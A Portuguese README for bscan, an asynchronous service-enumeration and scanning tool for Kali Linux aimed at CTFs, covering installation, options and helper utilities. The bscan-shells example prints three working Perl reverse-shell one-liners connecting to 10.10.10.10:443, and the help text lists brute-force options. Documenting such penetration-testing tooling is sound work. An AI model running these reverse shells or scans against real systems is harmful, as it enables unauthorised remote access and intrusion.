
uma ferramenta de enumeração de alvos assíncrona
:mag: uma ferramenta assíncrona de enumeração de alvos :mag_right:
O bscan é um utilitário de linha de comando para realizar coleta ativa de informações e enumeração de serviços. Em seu núcleo, o bscan inicia de forma assíncrona processos de utilitários de varredura conhecidos, reaproveitando os resultados das varreduras em saída de console destacada e uma estrutura de diretórios bem definida.
O bscan destina-se apenas a fins educacionais e eventos como CTFs e nunca deve ser executado em máquinas e/ou redes sem consentimento prévio explícito. Este código é distribuído sob a licença MIT.
O bscan foi escrito para ser executado no Kali Linux, mas não há nada que o impeça de funcionar em qualquer SO com as ferramentas apropriadas instaladas. Existem alguns tipos diferentes de versões empacotadas e formas de instalá-las.
A maneira mais fácil de começar é baixar a versão executável de arquivo único apropriada para seu sistema operacional (nenhuma instalação do Python necessária):
# no Linux (isto é, Kali)
wget -O bscan https://releases.brianwel.ch/bscan/linux
# no Windows
powershell -c "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; wget 'https://releases.brianwel.ch/bscan/windows' -OutFile 'bscan.exe'"
# para baixar uma versão específica, use o seguinte padrão
wget -O bscan https://releases.brianwel.ch/github/bscan/linux/0.1.4
Você também pode baixar a versão empacotada mais recente do PyPI (observe que isso requer uma instalação existente do Python 3.6+):
pip install bscan
Da mesma forma, você pode obter a versão mais recente do controle de versão:
pip install https://github.com/welchbj/bscan/archive/master.tar.gz
O bscan possui uma ampla variedade de opções de configuração que podem ser usadas para ajustar as varreduras às suas necessidades. Aqui está um exemplo rápido:
$ bscan \
> --max-concurrency 3 \
> --patterns [Mm]icrosoft \
> --status-interval 10 \
> --verbose-status \
> scanme.nmap.org
O que está acontecendo aqui?
--max-concurrency 3 significa que no máximo 3 subprocessos de varredura simultâneos serão executados por vez--patterns [Mm]icrosoft define um padrão regex personalizado para destacar correspondências na saída da varredura gerada--status-interval 10 diz ao bscan para imprimir atualizações de status em tempo de execução a cada 10 segundos--verbose-status significa que cada uma dessas atualizações de status imprimirá detalhes de todos os subprocessos de varredura atualmente em execuçãoscanme.nmap.org é o host que queremos enumerarO bscan também depende de alguns arquivos de configuração adicionais. Os arquivos padrão podem ser encontrados no diretório bscan/configuation e servem aos seguintes propósitos:
patterns.txt especifica os padrões regex a serem destacados na saída do console quando correspondentes à saída da varredurarequired-programs.txt especifica os programas instalados que o bscan planeja usarport-scans.toml define as varreduras de descoberta de portas a serem executadas no(s) alvo(s), bem como as expressões regulares usadas para analisar números de porta e nomes de serviços da saída da varreduraservice-scans.toml define as varreduras a serem executadas no(s) alvo(s) por serviçoAqui está o que você deve ver ao executar bscan --help:
usage: bscan [OPTIONS] targets
_
| |__ ___ ___ __ _ _ __
| '_ \/ __|/ __/ _` | '_ \
| |_) \__ \ (__ (_| | | | |
|_.__/|___/\___\__,_|_| |_|
an asynchronous service enumeration tool
positional arguments:
targets the targets and/or networks on which to perform enumeration
optional arguments:
-h, --help show this help message and exit
--brute-pass-list F filename of password list to use for brute-forcing
--brute-user-list F filename of user list to use for brute-forcing
--cmd-print-width I the maximum integer number of characters allowed when printing
the command used to spawn a running subprocess (defaults to 80)
--config-dir D the base directory from which to load the configuration files;
required configuration files missing from this directory will
instead be loaded from the default files shipped with this
program
--hard force overwrite of existing directories
--max-concurrency I maximum integer number of subprocesses permitted to be running
concurrently (defaults to 20)
--no-program-check disable checking the presence of required system programs
--no-file-check disable checking the presence of files such as configured
wordlists
--no-service-scans disable running scans on discovered services
--output-dir D the base directory in which to write output files
--patterns [ [ ...]] regex patterns to highlight in output text
--ping-sweep enable ping sweep filtering of hosts from a network range
before running more intensive scans
--quick-only whether to only run the quick scan (and not include the
thorough scan over all ports)
--qs-method S the method for performing the initial TCP port scan; must
correspond to a configured port scan
--status-interval I integer number of seconds to pause in between printing status
updates; a non-positive value disables updates (defaults to 30)
--ts-method S the method for performing the thorough TCP port scan; must
correspond to a configured port scan
--udp whether to run UDP scans
--udp-method S the method for performing the UDP port scan; must correspond
to a configured port scan
--verbose-status whether to print verbose runtime status updates, based on
frequency specified by `--status-interval` flag
--version program version
--web-word-list F the wordlist to use for scans
O programa principal bscan vem com dois programas utilitários (bscan-wordlists e bscan-shells) para facilitar sua vida na busca por wordlists e na tentativa de abrir shells reversos.
bscan-wordlists é um programa projetado para encontrar arquivos de wordlist no Kali Linux. Ele pesquisa alguns diretórios padrão e permite correspondência de nomes de arquivos com glob. Aqui está um exemplo simples:
$ bscan-wordlists --find "*win*"
/usr/share/wordlists/wfuzz/vulns/dirTraversal-win.txt
/usr/share/wordlists/metasploit/sensitive_files_win.txt
/usr/share/seclists/Passwords/common-passwords-win.txt
Experimente bscan-wordlists --help para explorar outras opções.
bscan-shells é um programa que gera uma variedade de one-liners de shell reverso com os campos target e port preenchidos para você. Aqui está um exemplo simples para listar todos os shells baseados em Perl, configurados para reconectar a 10.10.10.10 na porta 443:
$ bscan-shells --port 443 10.10.10.10 | grep -i -A1 perl
perl for windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl with /bin/sh
perl -e 'use Socket;$i="10.10.10.10";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl without /bin/sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Observe que o bscan-shells obtém esses comandos do arquivo de configuração reverse-shells.toml. Experimente bscan-shells --help para explorar outras opções.
Comece configurando um novo ambiente de desenvolvimento e instalando os requisitos (usando virtualenvwrapper / virtualenvwrapper-win):
# configurar o ambiente
mkvirtualenv -p $(which python3) bscan-dev
workon bscan-dev
# obter as dependências
pip install -r dev-requirements.txt
Execute lint e verificação de tipos no projeto (também executados no Travis):
flake8 . && mypy bscan
Quando chegar a hora de empacotar uma nova versão:
# construir o executável de arquivo único
pyinstaller bscan.spec
# construir distribuições source e wheel
python setup.py bdist_wheel sdist
# executar verificações pós-construção
twine check dist/*
# enviar para o PyPI
twine upload dist/*